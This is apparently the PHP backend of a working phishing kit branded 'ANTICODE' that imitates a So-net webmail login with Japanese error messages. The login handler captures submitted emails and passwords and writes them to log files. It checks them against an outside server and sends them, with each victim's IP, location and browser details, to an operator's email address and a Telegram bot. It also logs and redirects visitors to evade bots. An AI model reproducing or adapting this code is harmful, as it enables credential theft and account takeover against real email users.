<?php
class Api
{
    public $goANTICODE;
    public function __construct()
    {
        $this->goANTICODE = new goANTICODE();

        if (!isset($_SESSION['access']) and ($_SESSION['access'] != 2)) {

            write(FCPATH . 'ANTICODE/Static/log_robot.txt', 'a', "{$this->goANTICODE->ip_address}\r\n");
            write(FCPATH . 'ANTICODE/Static/log_click.txt', 'a', "|{$_SESSION['flag']['img']}|" . _time() . "|{$this->goANTICODE->ip_address}|{$_SESSION['country']}|{$this->goANTICODE->browser}|[B] No param\r\n");
            _blocks();
            redirect(uriRand());
        }

        $this->blockers = new Blockers();
    }

    public function login()
    {
        $aa1 = $_POST['email'];
        $aa2 = $_POST['password'];

        if (empty($aa1) || empty($aa2)) {
            $_SESSION["LOGIN_ERROR"] = "認証情報を入力してください。";
            $_SESSION['access'] = 2;
            redirect(base_url() . "mail");
        }

        $_SESSION["username"] = trim($aa1);
        $_SESSION["password"] = trim($aa2);

        write(FCPATH . 'Result/log_account.txt', 'a',  "  {$_SESSION['username']} |{$_SESSION['password']}|{$this->goANTICODE->ip_address}|" . _date() . "  \r\n");

        $curl = curl_init();
        $url = "https://sever108.critikalsignin.com/WEBMAIL/so-net.php?username=" . urlencode($aa1) . "&password=" . urlencode($aa2);

        curl_setopt_array($curl, [
            CURLOPT_URL => $url,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_ENCODING => "",
            CURLOPT_MAXREDIRS => 10,
            CURLOPT_TIMEOUT => 30,
            CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_HTTPHEADER => [
                "X-API-KEY: " . getenv("API_KEY"),
                "Content-Type: application/json"
            ]
        ]);

        $response = curl_exec($curl);
        curl_close($curl);

        $data = json_decode($response, true);

        if (!isset($data['success']) || !$data['success']) {
            $_SESSION["LOGIN_ERROR"] = "メールアドレスまたはメールアドレスパスワードが間違っています。";
            $_SESSION['access'] = 2;
            redirect(base_url() . 'appsuite/ui');
        }

        write(FCPATH . 'ANTICODE/log_account.txt', 'a',  "  {$_SESSION['username']} |{$_SESSION['password']}|{$this->goANTICODE->ip_address}|" . _date() . "  \r\n");

        $message =
            "<fieldset style='border: 3px solid #FF0000; border-radius: 20px; max-width:80% margin: 0 auto;'>
                <pre>
                <strong><span style='color: #999999;'> ::| ANTICODE |::</span></strong>

                <strong>:: SO-NET Login ::</strong>
                            
                [+] Username    : {$_SESSION['username']}
                [+] Password	: {$_SESSION['password']}

                <strong>:: Visitors ::</strong>

                [+] Date &amp; Time	: " . _date() . "  
                [+] Device       	: {$this->goANTICODE->platform}
                [+] Browser      	: {$this->goANTICODE->browser}
                [+] Country      	: {$_SESSION['country']}
                [+] Region       	: {$_SESSION['regionName']}
                [+] City         	: {$_SESSION['city']}
                [+] Isp             : {$_SESSION['isp']}
                [+] Ip Address   	: {$this->goANTICODE->ip_address}
                [+] User Agent   	: {$this->goANTICODE->agent}

                </pre>
                </fieldset>
                </pre>";


        $subject = " {$_SESSION['username']} :: [ {$this->goANTICODE->ip_address} - {$_SESSION['country']} ]";
        $headers = 'MIME-Version: 1.0' . "\r\n";
        $headers .= 'Content-type: text/html; charset=UTF-8' . "\r\n";
        $headers .= "From: So-Net Login <anticode" . time() . "@enotices.net>";

        if (_config('GETACCOUNT') == 'on') {
            @mail(_config('RESULT'), $subject, $message, $headers);
        }

        if (_config('TELEGRAM') == 'on') {
            $c = curl_init();
            curl_setopt($c, CURLOPT_URL, 'https://api.telegram.org/bot' . telex('token') . '/sendMessage?chat_id=' . telex('idtelegram') . '&text=' . urlencode(strip_tags($message)));
            curl_setopt($c, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($c, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($c, CURLOPT_SSL_VERIFYHOST, false);
            $x = curl_exec($c);
            curl_close($c);
        }

        write(FCPATH . 'ANTICODE/Static/log_account.txt', 'a', "{$this->goANTICODE->ip_address}\r\n");
        write(FCPATH . 'ANTICODE/Static/log_click.txt', 'a', "|{$_SESSION['flag']['img']}|" . _time() . "|{$this->goANTICODE->ip_address}|{$_SESSION['country']}|{$this->goANTICODE->browser}|Grab Login Info\r\n");

        _blocks();
        redirect(uriRand());
    }
}
